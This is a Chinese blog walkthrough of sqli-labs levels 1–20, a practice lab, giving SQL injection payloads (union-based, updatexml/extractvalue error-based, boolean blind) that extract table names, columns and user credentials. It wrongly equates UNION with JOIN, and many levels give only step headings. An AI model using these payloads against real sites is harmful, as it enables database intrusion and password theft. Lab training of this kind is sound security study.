sqli-labs靶场通关

less-1

1.1 判断是否存在sql注入

1、Please input the ID as parameter with numeric value(请输入ID作为带数值的参数),输入id

2、输入?id=1 ?id=2

输入的id不同其数据也不同,所以输入的内容带到数据库里面查询了。

3、判断sql语句是否拼接,且是字符型还是数字型

输入?id=1'

错误,再输入?id=1'--+

为字符型,且存在sql注入漏洞。

1.2 联合注入

联合查询(JOIN)是SQL 中用于将多个表中的数据按照某些共同的条件进行连接查询的一种操作。通过联合查询,您可以从多个表中提取相关的信息,而不需要将所有的数据都存储在一个表中。

1、检测列数

通过order by函数检测表格有几列,如果报错为超过列数,显示正常没有超过列数。

?id=1' order by 3--+

可以确定表格有三列

2、爆出显示位

?id=-1'union select 1,2,3--+

回显点为2和3,第二列和第三列的数据在页面显示。

3、获取数据名和版本号

?id=-1'union select 1,database(),version()--+

数据名为security 版本号为5.7.26

4、爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

information_schema.tables是information_schema数据库下的tables表(.表示下一级)

where后面为条件

group_concat()函数将查询到结果连接起来(如果不用group_concat查询到的只有user)

数据库有四个表:emails,referers,uagents,users

5、爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询information_schema数据库下的columns表里面且table_name字段内容是users的所有column_name的内容。

(table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。)

字段名为:username,password

6、爆数据

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

加一个id可以隔账户和密码

less-2

1、输入id

2、判断是字符型还是数字型

输入?id=1--+页面正常,是数字型。

3、检测列数

可以确定表格有三列。

4、爆出显示位

回显点为2和3,第二列和第三列的数据在页面显示。

5、获取数据名和版本号

数据名:security

版本号:5.7.26

6、爆表

数据库有四个表:emails,referers,uagents,users

7、爆字段名

字段名为username,password

8、爆数据

leaa-3

1、判断类型

推断为')闭合

2、检测列数

可以确定为三列。

3、爆显示位

回显点为2,3

4、获取数据名和版本号

数据名:security 版本号:5.7.26

5、爆表

数据库有四个表:emails,referers,uagents,users

6、爆字段名

字段名为username,password

7、爆数据

less-4

1、判断类型

推断为”)闭合

2、检测列数

推断为三列

3、爆出显示位

回显点为2,3

4、获取数据名和版本号

数据名:security 版本号:5.7.26

5、爆表

数据库有四个表:emails,referers,uagents,users

6、爆字段名

字段名为:username,password

7、爆数据

less-5

1、判断类型

可以确定为字符型

2、 检测列数

可以确定表格有三列

3、爆出显示位

无显示位,联合注入不能使用

报错函数(updatexml(1,2,3))

报错函数里面三个参数,我们可以操控的是第二个参数的位置,第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置,我们可以操控的地方也是第二个参数的位置,把第二个参数的位置换成(),里面写我们的子查询语句。

4、获得数据名

5、爆表

?id=-1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+

6、爆字段名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3)--+

7、爆数据

less-6

1、判断类型

可以确定为"

2、获取数据名

3、爆表

4、爆字段名

5、爆数据

less-7

1、判断闭合方式

可以判断为'))

布尔盲注

?id=1')) and length()>9--+
​
lenfth()是获取当前内容的长度
​
?id=1')) and ascii(substr((),1,1))=115--+
​
substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。
​
ascii()是将截取的字符转换成对应的ascii码。

2、获取数据名

?id=1' and length(database())>7--+

?id=1' and length(database())>8--+

数据名为8位

数据库第一位ascii码为115,以此类推推出库名security

3、爆表

?id=1')) and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+

?id=1')) and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

表长度为29

?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+

?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>101--+

数据库有四个表:emails,referers,uagents,users

4、爆字段名

?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19--+

?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

字段名长度为20

?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>104--+

?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>105--+

字段名为:id,username,password

5、爆数据

?id=1')) and length((select group_concat(username,password) from users))>174--+

?id=1')) and length((select group_concat(username,password) from users))>175--+

?id=1')) and ascii(substr((select group_concat(username,password) from users),1,1))>67--+

?id=1')) and ascii(substr((select group_concat(username,password) from users),1,1))>68--+

less-8

1、判断闭合方式

2、获取数据名

数据名长度为8

?id=1' and ascii(substr(database(),1,1))>114--+

?id=1' and ascii(substr(database(),1,1))>115--+

数据库第一位ascii码为115,以此类推推出库名security

3、爆表

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

表长度为29

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>101--+

数据库有四个表:emails,referers,uagents,users

4、爆字段名

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>19--+

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

字段名长度为20

?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>104--+

?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>105--+

字段名为:id,username,password

5、爆数据

?id=1' and length((select group_concat(username,password) from users))>174--+

?id=1' and length((select group_concat(username,password) from users))>175--+

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>67--+

id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>68--+

less-9

时间盲注

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

1、判断闭合方式

2、获取数据名

数据名长度为8

数据库第一位ascii码为115,以此类推推出库名security

3、爆表

表长度为29

数据库有四个表:emails,referers,uagents,users

4、爆字段名

字段名长度为20

字段名为:id,username,password

5、爆数据

less-10

1、判断闭合方式

2、获取数据名

数据名长度为8

数据库第一位ascii码为115,以此类推推出库名security

3、爆表

表长度为29

数据库有四个表:emails,referers,uagents,users

4、爆字段名

字段名长度为20

字段名为:id,username,password

5、爆数据

less-11

get请求变为post

1、判断闭合方式

2、爆出显示位

3、获得数据名

4、爆表

5、爆字段名

6、爆数据

less-12

根据报错信息,闭合方式为"),和十一一样

less-13

闭合方式为'),和十一一样

less-14

闭合方式为"),和十一一样

less-15

布尔盲注

1、判断闭合方式

2、获取数据名

数据名长度为8

数据库第一位ascii码为115,以此类推推出库名security

3、爆表

表长度为29

数据库有四个表:emails,referers,uagents,users

4、爆字段名

字段名长度为20

字段名为:id,username,password

5、爆数据

less-16

闭合方式为"),同十五一样用盲注

less-17

1、判断闭合方式

2、获取数据名

3、爆表

4、爆字段名

5、爆数据

less-18

1、判断闭合方式

2、获取数据名

库名security

3、爆表

数据库有四个表:emails,referers,uagents,users

4、爆字段名

字段名为:id,username,password

5、爆数据

less-19

1、判断闭合方式

2、获取数据名

库名security

3、爆表

数据库有四个表:emails,referers,uagents,users

4、爆字段名

字段名为:id,username,password

5、爆数据

less-20

1、判断闭合方式
admin' and '1'='1

2、获取数据名
' and updatexml(1,concat(1,(select database()),1),1) and '1'='1

库名security

3、爆表
' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =database()),1),1) and '1'='1

数据库有四个表:emails,referers,uagents,users

4、爆字段名
'and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1)) and '1'='1

字段名为:id,username,password

5、爆数据
' and updatexml(1,concat(1,(select group_concat(username,password) from users),1),1) and '1'='1

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值